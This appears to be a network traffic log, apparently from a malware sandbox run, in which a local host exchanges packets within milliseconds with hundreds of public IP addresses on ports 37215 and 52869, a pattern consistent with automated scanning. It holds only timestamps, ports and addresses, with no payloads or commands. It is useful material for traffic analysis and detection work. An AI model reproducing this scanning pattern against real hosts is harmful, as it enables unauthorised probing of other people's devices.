Dec 4, 2024 20:34:25.863949060 CET	60275	37215	192.168.2.14	41.132.108.110
Dec 4, 2024 20:34:25.863954067 CET	60275	37215	192.168.2.14	156.16.222.195
Dec 4, 2024 20:34:25.863964081 CET	37215	60275	197.248.198.178	192.168.2.14
Dec 4, 2024 20:34:25.863972902 CET	37215	60275	197.36.131.169	192.168.2.14
Dec 4, 2024 20:34:25.863981009 CET	37215	60275	41.14.72.174	192.168.2.14
Dec 4, 2024 20:34:25.863990068 CET	37215	60275	41.76.128.125	192.168.2.14
Dec 4, 2024 20:34:25.864000082 CET	37215	60275	197.66.42.187	192.168.2.14
Dec 4, 2024 20:34:25.864003897 CET	60275	37215	192.168.2.14	197.36.131.169
Dec 4, 2024 20:34:25.864005089 CET	60275	37215	192.168.2.14	197.248.198.178
Dec 4, 2024 20:34:25.864011049 CET	37215	60275	197.130.161.148	192.168.2.14
Dec 4, 2024 20:34:25.864018917 CET	60275	37215	192.168.2.14	41.14.72.174
Dec 4, 2024 20:34:25.864028931 CET	37215	60275	41.187.237.232	192.168.2.14
Dec 4, 2024 20:34:25.864033937 CET	60275	37215	192.168.2.14	41.76.128.125
Dec 4, 2024 20:34:25.864033937 CET	60275	37215	192.168.2.14	197.66.42.187
Dec 4, 2024 20:34:25.864037991 CET	37215	60275	156.68.169.141	192.168.2.14
Dec 4, 2024 20:34:25.864046097 CET	60275	37215	192.168.2.14	197.130.161.148
Dec 4, 2024 20:34:25.864048004 CET	37215	60275	41.209.140.78	192.168.2.14
Dec 4, 2024 20:34:25.864057064 CET	37215	60275	197.60.193.45	192.168.2.14
Dec 4, 2024 20:34:25.864064932 CET	60275	37215	192.168.2.14	156.68.169.141
Dec 4, 2024 20:34:25.864065886 CET	60275	37215	192.168.2.14	41.187.237.232
Dec 4, 2024 20:34:25.864073992 CET	37215	60275	41.246.105.213	192.168.2.14
Dec 4, 2024 20:34:25.864084005 CET	60275	37215	192.168.2.14	41.209.140.78
Dec 4, 2024 20:34:25.864085913 CET	60275	37215	192.168.2.14	197.60.193.45
Dec 4, 2024 20:34:25.864093065 CET	37215	60275	197.99.150.85	192.168.2.14
Dec 4, 2024 20:34:25.864101887 CET	37215	60275	197.196.118.52	192.168.2.14
Dec 4, 2024 20:34:25.864105940 CET	60275	37215	192.168.2.14	41.246.105.213
Dec 4, 2024 20:34:25.864109039 CET	37215	60275	41.18.81.231	192.168.2.14
Dec 4, 2024 20:34:25.864121914 CET	37215	60275	156.73.153.242	192.168.2.14
Dec 4, 2024 20:34:25.864125967 CET	60275	37215	192.168.2.14	197.99.150.85
Dec 4, 2024 20:34:25.864130974 CET	37215	60275	197.106.146.54	192.168.2.14
Dec 4, 2024 20:34:25.864132881 CET	60275	37215	192.168.2.14	197.196.118.52
Dec 4, 2024 20:34:25.864141941 CET	37215	60275	156.46.231.49	192.168.2.14
Dec 4, 2024 20:34:25.864150047 CET	60275	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:25.864152908 CET	60275	37215	192.168.2.14	156.73.153.242
Dec 4, 2024 20:34:25.864157915 CET	37215	60275	156.147.35.244	192.168.2.14
Dec 4, 2024 20:34:25.864166975 CET	37215	60275	197.100.48.63	192.168.2.14
Dec 4, 2024 20:34:25.864173889 CET	60275	37215	192.168.2.14	197.106.146.54
Dec 4, 2024 20:34:25.864176035 CET	60275	37215	192.168.2.14	156.46.231.49
Dec 4, 2024 20:34:25.864177942 CET	37215	60275	41.127.162.160	192.168.2.14
Dec 4, 2024 20:34:25.864191055 CET	37215	60275	156.127.137.224	192.168.2.14
Dec 4, 2024 20:34:25.864197016 CET	60275	37215	192.168.2.14	156.147.35.244
Dec 4, 2024 20:34:25.864203930 CET	60275	37215	192.168.2.14	197.100.48.63
Dec 4, 2024 20:34:25.864206076 CET	37215	60275	156.48.9.140	192.168.2.14
Dec 4, 2024 20:34:25.864207029 CET	60275	37215	192.168.2.14	41.127.162.160
Dec 4, 2024 20:34:25.864228964 CET	60275	37215	192.168.2.14	156.127.137.224
Dec 4, 2024 20:34:25.864238977 CET	60275	37215	192.168.2.14	156.48.9.140
Dec 4, 2024 20:34:25.864609003 CET	37215	60275	41.132.100.177	192.168.2.14
Dec 4, 2024 20:34:25.864618063 CET	37215	60275	41.113.111.126	192.168.2.14
Dec 4, 2024 20:34:25.864648104 CET	60275	37215	192.168.2.14	41.132.100.177
Dec 4, 2024 20:34:25.864650965 CET	37215	60275	41.49.70.143	192.168.2.14
Dec 4, 2024 20:34:25.864660025 CET	37215	60275	197.35.197.202	192.168.2.14
Dec 4, 2024 20:34:25.864665985 CET	60275	37215	192.168.2.14	41.113.111.126
Dec 4, 2024 20:34:25.864677906 CET	37215	60275	41.135.60.103	192.168.2.14
Dec 4, 2024 20:34:25.864687920 CET	37215	60275	41.105.81.176	192.168.2.14
Dec 4, 2024 20:34:25.864695072 CET	60275	37215	192.168.2.14	197.35.197.202
Dec 4, 2024 20:34:25.864695072 CET	60275	37215	192.168.2.14	41.49.70.143
Dec 4, 2024 20:34:25.864703894 CET	37215	60275	197.42.248.169	192.168.2.14
Dec 4, 2024 20:34:25.864710093 CET	60275	37215	192.168.2.14	41.135.60.103
Dec 4, 2024 20:34:25.864712000 CET	60275	37215	192.168.2.14	41.105.81.176
Dec 4, 2024 20:34:25.864741087 CET	60275	37215	192.168.2.14	197.42.248.169
Dec 4, 2024 20:34:25.864743948 CET	37215	60275	156.15.219.247	192.168.2.14
Dec 4, 2024 20:34:25.864753962 CET	37215	60275	156.196.176.20	192.168.2.14
Dec 4, 2024 20:34:25.864763021 CET	37215	60275	197.214.0.190	192.168.2.14
Dec 4, 2024 20:34:25.864780903 CET	60275	37215	192.168.2.14	156.15.219.247
Dec 4, 2024 20:34:25.864782095 CET	60275	37215	192.168.2.14	156.196.176.20
Dec 4, 2024 20:34:25.864784002 CET	37215	60275	197.33.215.35	192.168.2.14
Dec 4, 2024 20:34:25.864798069 CET	60275	37215	192.168.2.14	197.214.0.190
Dec 4, 2024 20:34:25.864820004 CET	60275	37215	192.168.2.14	197.33.215.35
Dec 4, 2024 20:34:25.864873886 CET	37215	60275	156.246.142.144	192.168.2.14
Dec 4, 2024 20:34:25.864891052 CET	37215	60275	41.37.188.94	192.168.2.14
Dec 4, 2024 20:34:25.864913940 CET	60275	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:25.864919901 CET	60275	37215	192.168.2.14	41.37.188.94
Dec 4, 2024 20:34:25.864965916 CET	37215	60275	41.29.20.203	192.168.2.14
Dec 4, 2024 20:34:25.864981890 CET	37215	60275	156.89.173.110	192.168.2.14
Dec 4, 2024 20:34:25.865005970 CET	37215	60275	156.179.59.54	192.168.2.14
Dec 4, 2024 20:34:25.865005970 CET	60275	37215	192.168.2.14	156.89.173.110
Dec 4, 2024 20:34:25.865006924 CET	60275	37215	192.168.2.14	41.29.20.203
Dec 4, 2024 20:34:25.865015984 CET	37215	60275	41.232.154.218	192.168.2.14
Dec 4, 2024 20:34:25.865025043 CET	37215	60275	156.251.217.255	192.168.2.14
Dec 4, 2024 20:34:25.865036011 CET	37215	60275	197.83.103.191	192.168.2.14
Dec 4, 2024 20:34:25.865044117 CET	60275	37215	192.168.2.14	41.232.154.218
Dec 4, 2024 20:34:25.865045071 CET	60275	37215	192.168.2.14	156.179.59.54
Dec 4, 2024 20:34:25.865057945 CET	60275	37215	192.168.2.14	156.251.217.255
Dec 4, 2024 20:34:25.865057945 CET	37215	60275	156.90.49.226	192.168.2.14
Dec 4, 2024 20:34:25.865070105 CET	60275	37215	192.168.2.14	197.83.103.191
Dec 4, 2024 20:34:25.865099907 CET	60275	37215	192.168.2.14	156.90.49.226
Dec 4, 2024 20:34:25.865287066 CET	37215	60275	156.54.168.161	192.168.2.14
Dec 4, 2024 20:34:25.865297079 CET	37215	60275	156.34.144.151	192.168.2.14
Dec 4, 2024 20:34:25.865303993 CET	37215	60275	197.182.44.141	192.168.2.14
Dec 4, 2024 20:34:25.865314007 CET	37215	60275	156.127.38.166	192.168.2.14
Dec 4, 2024 20:34:25.865322113 CET	37215	60275	41.97.166.226	192.168.2.14
Dec 4, 2024 20:34:25.865326881 CET	60275	37215	192.168.2.14	156.54.168.161
Dec 4, 2024 20:34:25.865331888 CET	37215	60275	156.110.100.62	192.168.2.14
Dec 4, 2024 20:34:25.865344048 CET	60275	37215	192.168.2.14	197.182.44.141
Dec 4, 2024 20:34:25.865345955 CET	60275	37215	192.168.2.14	156.34.144.151
Dec 4, 2024 20:34:25.865348101 CET	60275	37215	192.168.2.14	156.127.38.166
Dec 4, 2024 20:34:25.865350962 CET	37215	60275	197.30.70.180	192.168.2.14
Dec 4, 2024 20:34:25.865360975 CET	37215	60275	197.46.210.104	192.168.2.14
Dec 4, 2024 20:34:25.865369081 CET	60275	37215	192.168.2.14	156.110.100.62
Dec 4, 2024 20:34:25.865370035 CET	60275	37215	192.168.2.14	41.97.166.226
Dec 4, 2024 20:34:25.865396976 CET	60275	37215	192.168.2.14	197.30.70.180
Dec 4, 2024 20:34:25.865396976 CET	60275	37215	192.168.2.14	197.46.210.104
Dec 4, 2024 20:34:25.865748882 CET	37215	60275	156.126.207.8	192.168.2.14
Dec 4, 2024 20:34:25.865767002 CET	37215	60275	156.91.56.95	192.168.2.14
Dec 4, 2024 20:34:25.865775108 CET	37215	60275	41.251.151.107	192.168.2.14
Dec 4, 2024 20:34:25.865786076 CET	60275	37215	192.168.2.14	156.126.207.8
Dec 4, 2024 20:34:25.865799904 CET	60275	37215	192.168.2.14	156.91.56.95
Dec 4, 2024 20:34:25.865811110 CET	60275	37215	192.168.2.14	41.251.151.107
Dec 4, 2024 20:34:25.865819931 CET	37215	60275	197.170.229.87	192.168.2.14
Dec 4, 2024 20:34:25.865855932 CET	60275	37215	192.168.2.14	197.170.229.87
Dec 4, 2024 20:34:25.865881920 CET	37215	60275	41.183.182.85	192.168.2.14
Dec 4, 2024 20:34:25.865921974 CET	60275	37215	192.168.2.14	41.183.182.85
Dec 4, 2024 20:34:25.865947008 CET	37215	60275	156.122.160.94	192.168.2.14
Dec 4, 2024 20:34:25.865957975 CET	37215	60275	197.195.148.73	192.168.2.14
Dec 4, 2024 20:34:25.865972996 CET	37215	60275	156.245.24.240	192.168.2.14
Dec 4, 2024 20:34:25.865983009 CET	37215	60275	197.145.5.200	192.168.2.14
Dec 4, 2024 20:34:25.865993023 CET	60275	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:25.866004944 CET	60275	37215	192.168.2.14	197.195.148.73
Dec 4, 2024 20:34:25.866014957 CET	60275	37215	192.168.2.14	156.245.24.240
Dec 4, 2024 20:34:25.866024017 CET	60275	37215	192.168.2.14	197.145.5.200
Dec 4, 2024 20:34:25.866039038 CET	37215	60275	197.97.250.235	192.168.2.14
Dec 4, 2024 20:34:25.866059065 CET	37215	60275	41.93.13.147	192.168.2.14
Dec 4, 2024 20:34:25.866077900 CET	60275	37215	192.168.2.14	197.97.250.235
Dec 4, 2024 20:34:25.866089106 CET	37215	60275	156.202.224.22	192.168.2.14
Dec 4, 2024 20:34:25.866096973 CET	60275	37215	192.168.2.14	41.93.13.147
Dec 4, 2024 20:34:25.866121054 CET	60275	37215	192.168.2.14	156.202.224.22
Dec 4, 2024 20:34:25.866122007 CET	37215	60275	156.209.94.33	192.168.2.14
Dec 4, 2024 20:34:25.866133928 CET	37215	60275	41.194.133.210	192.168.2.14
Dec 4, 2024 20:34:25.866157055 CET	60275	37215	192.168.2.14	156.209.94.33
Dec 4, 2024 20:34:25.866157055 CET	60275	37215	192.168.2.14	41.194.133.210
Dec 4, 2024 20:34:25.866188049 CET	37215	60275	41.10.22.176	192.168.2.14
Dec 4, 2024 20:34:25.866204023 CET	37215	60275	156.119.182.106	192.168.2.14
Dec 4, 2024 20:34:25.866220951 CET	60275	37215	192.168.2.14	41.10.22.176
Dec 4, 2024 20:34:25.866225004 CET	37215	60275	156.12.51.88	192.168.2.14
Dec 4, 2024 20:34:25.866239071 CET	60275	37215	192.168.2.14	156.119.182.106
Dec 4, 2024 20:34:25.866256952 CET	37215	60275	197.43.179.246	192.168.2.14
Dec 4, 2024 20:34:25.866267920 CET	60275	37215	192.168.2.14	156.12.51.88
Dec 4, 2024 20:34:25.866274118 CET	37215	60275	156.190.205.225	192.168.2.14
Dec 4, 2024 20:34:25.866282940 CET	37215	60275	156.216.74.159	192.168.2.14
Dec 4, 2024 20:34:25.866291046 CET	60275	37215	192.168.2.14	197.43.179.246
Dec 4, 2024 20:34:25.866306067 CET	60275	37215	192.168.2.14	156.190.205.225
Dec 4, 2024 20:34:25.866308928 CET	37215	60275	41.205.33.79	192.168.2.14
Dec 4, 2024 20:34:25.866318941 CET	37215	60275	41.218.13.28	192.168.2.14
Dec 4, 2024 20:34:25.866348028 CET	60275	37215	192.168.2.14	156.216.74.159
Dec 4, 2024 20:34:25.866358995 CET	60275	37215	192.168.2.14	41.218.13.28
Dec 4, 2024 20:34:25.866359949 CET	60275	37215	192.168.2.14	41.205.33.79
Dec 4, 2024 20:34:25.866386890 CET	37215	60275	41.242.246.68	192.168.2.14
Dec 4, 2024 20:34:25.866399050 CET	37215	60275	197.140.98.60	192.168.2.14
Dec 4, 2024 20:34:25.866409063 CET	37215	60275	156.220.220.107	192.168.2.14
Dec 4, 2024 20:34:25.866425037 CET	37215	60275	197.38.238.24	192.168.2.14
Dec 4, 2024 20:34:25.866425991 CET	60275	37215	192.168.2.14	41.242.246.68
Dec 4, 2024 20:34:25.866434097 CET	60275	37215	192.168.2.14	197.140.98.60
Dec 4, 2024 20:34:25.866442919 CET	60275	37215	192.168.2.14	156.220.220.107
Dec 4, 2024 20:34:25.866456985 CET	60275	37215	192.168.2.14	197.38.238.24
Dec 4, 2024 20:34:25.866461039 CET	37215	60275	156.12.51.1	192.168.2.14
Dec 4, 2024 20:34:25.866499901 CET	60275	37215	192.168.2.14	156.12.51.1
Dec 4, 2024 20:34:25.866529942 CET	37215	60275	156.225.172.78	192.168.2.14
Dec 4, 2024 20:34:25.866564989 CET	60275	37215	192.168.2.14	156.225.172.78
Dec 4, 2024 20:34:25.867209911 CET	37215	60275	156.248.29.147	192.168.2.14
Dec 4, 2024 20:34:25.867247105 CET	60275	37215	192.168.2.14	156.248.29.147
Dec 4, 2024 20:34:25.867259979 CET	37215	60275	197.94.90.110	192.168.2.14
Dec 4, 2024 20:34:25.867269993 CET	37215	60275	156.5.44.70	192.168.2.14
Dec 4, 2024 20:34:25.867290020 CET	37215	60275	156.128.125.118	192.168.2.14
Dec 4, 2024 20:34:25.867299080 CET	60275	37215	192.168.2.14	197.94.90.110
Dec 4, 2024 20:34:25.867306948 CET	37215	60275	197.190.235.72	192.168.2.14
Dec 4, 2024 20:34:25.867311001 CET	60275	37215	192.168.2.14	156.5.44.70
Dec 4, 2024 20:34:25.867328882 CET	60275	37215	192.168.2.14	156.128.125.118
Dec 4, 2024 20:34:25.867331982 CET	60275	37215	192.168.2.14	197.190.235.72
Dec 4, 2024 20:34:25.867353916 CET	37215	60275	41.97.6.254	192.168.2.14
Dec 4, 2024 20:34:25.867363930 CET	37215	60275	41.136.37.22	192.168.2.14
Dec 4, 2024 20:34:25.867387056 CET	37215	60275	197.253.146.211	192.168.2.14
Dec 4, 2024 20:34:25.867392063 CET	60275	37215	192.168.2.14	41.97.6.254
Dec 4, 2024 20:34:25.867393970 CET	60275	37215	192.168.2.14	41.136.37.22
Dec 4, 2024 20:34:25.867419958 CET	37215	60275	156.189.214.187	192.168.2.14
Dec 4, 2024 20:34:25.867429018 CET	60275	37215	192.168.2.14	197.253.146.211
Dec 4, 2024 20:34:25.867429972 CET	37215	60275	156.174.19.20	192.168.2.14
Dec 4, 2024 20:34:25.867459059 CET	60275	37215	192.168.2.14	156.189.214.187
Dec 4, 2024 20:34:25.867469072 CET	60275	37215	192.168.2.14	156.174.19.20
Dec 4, 2024 20:34:25.867538929 CET	52869	60019	41.103.209.188	192.168.2.14
Dec 4, 2024 20:34:25.867547989 CET	52869	60019	41.169.164.75	192.168.2.14
Dec 4, 2024 20:34:25.867558002 CET	52869	60019	41.174.40.11	192.168.2.14
Dec 4, 2024 20:34:25.867568016 CET	52869	60019	156.149.147.139	192.168.2.14
Dec 4, 2024 20:34:25.867577076 CET	52869	60019	197.207.12.12	192.168.2.14
Dec 4, 2024 20:34:25.867579937 CET	60019	52869	192.168.2.14	41.103.209.188
Dec 4, 2024 20:34:25.867583036 CET	60019	52869	192.168.2.14	41.169.164.75
Dec 4, 2024 20:34:25.867583036 CET	60019	52869	192.168.2.14	41.174.40.11
Dec 4, 2024 20:34:25.867588043 CET	52869	60019	41.129.42.30	192.168.2.14
Dec 4, 2024 20:34:25.867595911 CET	60019	52869	192.168.2.14	156.149.147.139
Dec 4, 2024 20:34:25.867609978 CET	60019	52869	192.168.2.14	197.207.12.12
Dec 4, 2024 20:34:25.867614985 CET	52869	60019	156.235.201.159	192.168.2.14
Dec 4, 2024 20:34:25.867623091 CET	60019	52869	192.168.2.14	41.129.42.30
Dec 4, 2024 20:34:25.867631912 CET	52869	60019	41.118.64.160	192.168.2.14
Dec 4, 2024 20:34:25.867640972 CET	52869	60019	197.61.232.166	192.168.2.14
Dec 4, 2024 20:34:25.867650032 CET	52869	60019	156.88.209.208	192.168.2.14
Dec 4, 2024 20:34:25.867657900 CET	60019	52869	192.168.2.14	156.235.201.159
Dec 4, 2024 20:34:25.867659092 CET	52869	60019	41.135.93.166	192.168.2.14
Dec 4, 2024 20:34:25.867666960 CET	60019	52869	192.168.2.14	41.118.64.160
Dec 4, 2024 20:34:25.867671967 CET	60019	52869	192.168.2.14	197.61.232.166
Dec 4, 2024 20:34:25.867676020 CET	52869	60019	156.57.109.37	192.168.2.14
Dec 4, 2024 20:34:25.867676020 CET	60019	52869	192.168.2.14	156.88.209.208
Dec 4, 2024 20:34:25.867686987 CET	52869	60019	41.222.211.104	192.168.2.14
Dec 4, 2024 20:34:25.867697954 CET	52869	60019	197.82.65.161	192.168.2.14
Dec 4, 2024 20:34:25.867701054 CET	60019	52869	192.168.2.14	41.135.93.166
Dec 4, 2024 20:34:25.867708921 CET	52869	60019	41.191.54.80	192.168.2.14
Dec 4, 2024 20:34:25.867716074 CET	60019	52869	192.168.2.14	156.57.109.37
Dec 4, 2024 20:34:25.867716074 CET	60019	52869	192.168.2.14	41.222.211.104
Dec 4, 2024 20:34:25.867717028 CET	52869	60019	156.95.214.212	192.168.2.14
Dec 4, 2024 20:34:25.867727041 CET	52869	60019	156.125.46.219	192.168.2.14
Dec 4, 2024 20:34:25.867734909 CET	52869	60019	156.229.181.62	192.168.2.14
Dec 4, 2024 20:34:25.867737055 CET	60019	52869	192.168.2.14	197.82.65.161
Dec 4, 2024 20:34:25.867742062 CET	60019	52869	192.168.2.14	41.191.54.80
Dec 4, 2024 20:34:25.867758989 CET	60019	52869	192.168.2.14	156.95.214.212
Dec 4, 2024 20:34:25.867762089 CET	60019	52869	192.168.2.14	156.125.46.219
Dec 4, 2024 20:34:25.867762089 CET	60019	52869	192.168.2.14	156.229.181.62
Dec 4, 2024 20:34:25.868460894 CET	52869	60019	156.30.92.86	192.168.2.14
Dec 4, 2024 20:34:25.868478060 CET	52869	60019	156.34.193.1	192.168.2.14
Dec 4, 2024 20:34:25.868486881 CET	52869	60019	197.100.107.0	192.168.2.14
Dec 4, 2024 20:34:25.868499041 CET	60019	52869	192.168.2.14	156.30.92.86
Dec 4, 2024 20:34:25.868505001 CET	52869	60019	156.143.161.42	192.168.2.14
Dec 4, 2024 20:34:25.868514061 CET	60019	52869	192.168.2.14	156.34.193.1
Dec 4, 2024 20:34:25.868522882 CET	60019	52869	192.168.2.14	197.100.107.0
Dec 4, 2024 20:34:25.868537903 CET	60019	52869	192.168.2.14	156.143.161.42
Dec 4, 2024 20:34:25.868551016 CET	52869	60019	156.195.70.58	192.168.2.14
Dec 4, 2024 20:34:25.868587017 CET	60019	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:25.868616104 CET	52869	60019	41.107.6.252	192.168.2.14
Dec 4, 2024 20:34:25.868624926 CET	52869	60019	197.89.179.31	192.168.2.14
Dec 4, 2024 20:34:25.868633032 CET	52869	60019	197.1.190.197	192.168.2.14
Dec 4, 2024 20:34:25.868654966 CET	60019	52869	192.168.2.14	41.107.6.252
Dec 4, 2024 20:34:25.868658066 CET	60019	52869	192.168.2.14	197.89.179.31
Dec 4, 2024 20:34:25.868664026 CET	60019	52869	192.168.2.14	197.1.190.197
Dec 4, 2024 20:34:25.868668079 CET	52869	60019	156.249.137.110	192.168.2.14
Dec 4, 2024 20:34:25.868678093 CET	52869	60019	156.48.140.101	192.168.2.14
Dec 4, 2024 20:34:25.868688107 CET	52869	60019	156.187.20.109	192.168.2.14
Dec 4, 2024 20:34:25.868704081 CET	60019	52869	192.168.2.14	156.249.137.110
Dec 4, 2024 20:34:25.868710041 CET	60019	52869	192.168.2.14	156.48.140.101
Dec 4, 2024 20:34:25.868710041 CET	60019	52869	192.168.2.14	156.187.20.109
Dec 4, 2024 20:34:25.868746996 CET	52869	60019	197.149.191.62	192.168.2.14
Dec 4, 2024 20:34:25.868782043 CET	60019	52869	192.168.2.14	197.149.191.62
Dec 4, 2024 20:34:25.868805885 CET	52869	60019	156.43.129.143	192.168.2.14
Dec 4, 2024 20:34:25.868829012 CET	52869	60019	41.27.123.27	192.168.2.14
Dec 4, 2024 20:34:25.868841887 CET	60019	52869	192.168.2.14	156.43.129.143
Dec 4, 2024 20:34:25.868868113 CET	60019	52869	192.168.2.14	41.27.123.27
Dec 4, 2024 20:34:25.868889093 CET	52869	60019	41.187.20.236	192.168.2.14
Dec 4, 2024 20:34:25.868911028 CET	52869	60019	41.205.219.35	192.168.2.14
Dec 4, 2024 20:34:25.868927002 CET	60019	52869	192.168.2.14	41.187.20.236
Dec 4, 2024 20:34:25.868944883 CET	60019	52869	192.168.2.14	41.205.219.35
Dec 4, 2024 20:34:25.868952990 CET	52869	60019	197.142.129.29	192.168.2.14
Dec 4, 2024 20:34:25.868963003 CET	52869	60019	197.57.17.249	192.168.2.14
Dec 4, 2024 20:34:25.868983984 CET	52869	60019	156.44.220.216	192.168.2.14
Dec 4, 2024 20:34:25.868988037 CET	60019	52869	192.168.2.14	197.142.129.29
Dec 4, 2024 20:34:25.868994951 CET	52869	60019	197.218.147.117	192.168.2.14
Dec 4, 2024 20:34:25.869003057 CET	60019	52869	192.168.2.14	197.57.17.249
Dec 4, 2024 20:34:25.869018078 CET	60019	52869	192.168.2.14	156.44.220.216
Dec 4, 2024 20:34:25.869029045 CET	60019	52869	192.168.2.14	197.218.147.117
Dec 4, 2024 20:34:25.869158030 CET	52869	60019	197.162.199.101	192.168.2.14
Dec 4, 2024 20:34:25.869168043 CET	52869	60019	197.100.102.194	192.168.2.14
Dec 4, 2024 20:34:25.869178057 CET	52869	60019	156.41.217.253	192.168.2.14
Dec 4, 2024 20:34:25.869185925 CET	52869	60019	41.103.215.205	192.168.2.14
Dec 4, 2024 20:34:25.869194984 CET	52869	60019	156.59.66.240	192.168.2.14
Dec 4, 2024 20:34:25.869194984 CET	60019	52869	192.168.2.14	197.162.199.101
Dec 4, 2024 20:34:25.869204044 CET	52869	60019	156.33.126.151	192.168.2.14
Dec 4, 2024 20:34:25.869210005 CET	60019	52869	192.168.2.14	197.100.102.194
Dec 4, 2024 20:34:25.869210005 CET	60019	52869	192.168.2.14	156.41.217.253
Dec 4, 2024 20:34:25.869211912 CET	60019	52869	192.168.2.14	41.103.215.205
Dec 4, 2024 20:34:25.869213104 CET	52869	60019	41.40.186.136	192.168.2.14
Dec 4, 2024 20:34:25.869220972 CET	60019	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:25.869224072 CET	52869	60019	41.217.152.38	192.168.2.14
Dec 4, 2024 20:34:25.869246006 CET	60019	52869	192.168.2.14	156.33.126.151
Dec 4, 2024 20:34:25.869250059 CET	60019	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:25.869252920 CET	60019	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:25.869739056 CET	52869	60019	156.99.178.7	192.168.2.14
Dec 4, 2024 20:34:25.869755030 CET	52869	60019	156.162.89.139	192.168.2.14
Dec 4, 2024 20:34:25.869764090 CET	52869	60019	156.169.0.109	192.168.2.14
Dec 4, 2024 20:34:25.869774103 CET	60019	52869	192.168.2.14	156.99.178.7
Dec 4, 2024 20:34:25.869787931 CET	52869	60019	197.70.132.232	192.168.2.14
Dec 4, 2024 20:34:25.869791985 CET	60019	52869	192.168.2.14	156.162.89.139
Dec 4, 2024 20:34:25.869812012 CET	60019	52869	192.168.2.14	197.70.132.232
Dec 4, 2024 20:34:25.869812965 CET	60019	52869	192.168.2.14	156.169.0.109
Dec 4, 2024 20:34:25.869837046 CET	52869	60019	197.132.171.98	192.168.2.14
Dec 4, 2024 20:34:25.869879007 CET	60019	52869	192.168.2.14	197.132.171.98
Dec 4, 2024 20:34:25.869883060 CET	52869	60019	197.135.59.96	192.168.2.14
Dec 4, 2024 20:34:25.869894028 CET	52869	60019	197.46.172.83	192.168.2.14
Dec 4, 2024 20:34:25.869920969 CET	60019	52869	192.168.2.14	197.135.59.96
Dec 4, 2024 20:34:25.869926929 CET	52869	60019	197.218.195.246	192.168.2.14
Dec 4, 2024 20:34:25.869929075 CET	60019	52869	192.168.2.14	197.46.172.83
Dec 4, 2024 20:34:25.869973898 CET	60019	52869	192.168.2.14	197.218.195.246
Dec 4, 2024 20:34:25.869998932 CET	52869	60019	41.191.147.247	192.168.2.14
Dec 4, 2024 20:34:25.870007992 CET	52869	60019	197.218.155.181	192.168.2.14
Dec 4, 2024 20:34:25.870016098 CET	52869	60019	156.53.32.243	192.168.2.14
Dec 4, 2024 20:34:25.870033979 CET	52869	60019	41.151.25.158	192.168.2.14
Dec 4, 2024 20:34:25.870038033 CET	60019	52869	192.168.2.14	41.191.147.247
Dec 4, 2024 20:34:25.870040894 CET	60019	52869	192.168.2.14	197.218.155.181
Dec 4, 2024 20:34:25.870044947 CET	52869	60019	197.16.184.131	192.168.2.14
Dec 4, 2024 20:34:25.870048046 CET	60019	52869	192.168.2.14	156.53.32.243
Dec 4, 2024 20:34:25.870057106 CET	52869	60019	41.141.127.36	192.168.2.14
Dec 4, 2024 20:34:25.870064974 CET	60019	52869	192.168.2.14	41.151.25.158
Dec 4, 2024 20:34:25.870078087 CET	60019	52869	192.168.2.14	197.16.184.131
Dec 4, 2024 20:34:25.870086908 CET	60019	52869	192.168.2.14	41.141.127.36
Dec 4, 2024 20:34:25.870170116 CET	52869	60019	41.133.228.190	192.168.2.14
Dec 4, 2024 20:34:25.870181084 CET	52869	60019	156.39.9.64	192.168.2.14
Dec 4, 2024 20:34:25.870204926 CET	60019	52869	192.168.2.14	41.133.228.190
Dec 4, 2024 20:34:25.870207071 CET	60019	52869	192.168.2.14	156.39.9.64
Dec 4, 2024 20:34:25.870223999 CET	52869	60019	197.154.16.245	192.168.2.14
Dec 4, 2024 20:34:25.870234013 CET	52869	60019	41.152.98.185	192.168.2.14
Dec 4, 2024 20:34:25.870260954 CET	60019	52869	192.168.2.14	197.154.16.245
Dec 4, 2024 20:34:25.870265961 CET	60019	52869	192.168.2.14	41.152.98.185
Dec 4, 2024 20:34:25.870274067 CET	52869	60019	156.101.138.138	192.168.2.14
Dec 4, 2024 20:34:25.870285034 CET	52869	60019	197.193.229.83	192.168.2.14
Dec 4, 2024 20:34:25.870309114 CET	60019	52869	192.168.2.14	156.101.138.138
Dec 4, 2024 20:34:25.870315075 CET	60019	52869	192.168.2.14	197.193.229.83
Dec 4, 2024 20:34:25.870465994 CET	52869	60019	156.199.251.203	192.168.2.14
Dec 4, 2024 20:34:25.870476007 CET	52869	60019	41.91.62.119	192.168.2.14
Dec 4, 2024 20:34:25.870486021 CET	52869	60019	156.117.216.181	192.168.2.14
Dec 4, 2024 20:34:25.870497942 CET	52869	60019	41.225.238.214	192.168.2.14
Dec 4, 2024 20:34:25.870505095 CET	60019	52869	192.168.2.14	156.199.251.203
Dec 4, 2024 20:34:25.870507956 CET	60019	52869	192.168.2.14	41.91.62.119
Dec 4, 2024 20:34:25.870516062 CET	52869	60019	197.168.102.205	192.168.2.14
Dec 4, 2024 20:34:25.870522022 CET	60019	52869	192.168.2.14	156.117.216.181
Dec 4, 2024 20:34:25.870524883 CET	52869	60019	41.113.109.146	192.168.2.14
Dec 4, 2024 20:34:25.870534897 CET	52869	60019	197.241.250.10	192.168.2.14
Dec 4, 2024 20:34:25.870537043 CET	60019	52869	192.168.2.14	41.225.238.214
Dec 4, 2024 20:34:25.870543957 CET	52869	60019	197.164.96.86	192.168.2.14
Dec 4, 2024 20:34:25.870553970 CET	60019	52869	192.168.2.14	41.113.109.146
Dec 4, 2024 20:34:25.870558977 CET	60019	52869	192.168.2.14	197.241.250.10
Dec 4, 2024 20:34:25.870559931 CET	60019	52869	192.168.2.14	197.168.102.205
Dec 4, 2024 20:34:25.870573044 CET	60019	52869	192.168.2.14	197.164.96.86
Dec 4, 2024 20:34:25.871123075 CET	52869	60019	156.235.228.202	192.168.2.14
Dec 4, 2024 20:34:25.871161938 CET	60019	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:25.871166945 CET	52869	60019	197.9.119.228	192.168.2.14
Dec 4, 2024 20:34:25.871196985 CET	52869	60019	41.74.212.165	192.168.2.14
Dec 4, 2024 20:34:25.871210098 CET	60019	52869	192.168.2.14	197.9.119.228
Dec 4, 2024 20:34:25.871212006 CET	52869	60019	197.13.85.162	192.168.2.14
Dec 4, 2024 20:34:25.871223927 CET	52869	60019	41.204.228.145	192.168.2.14
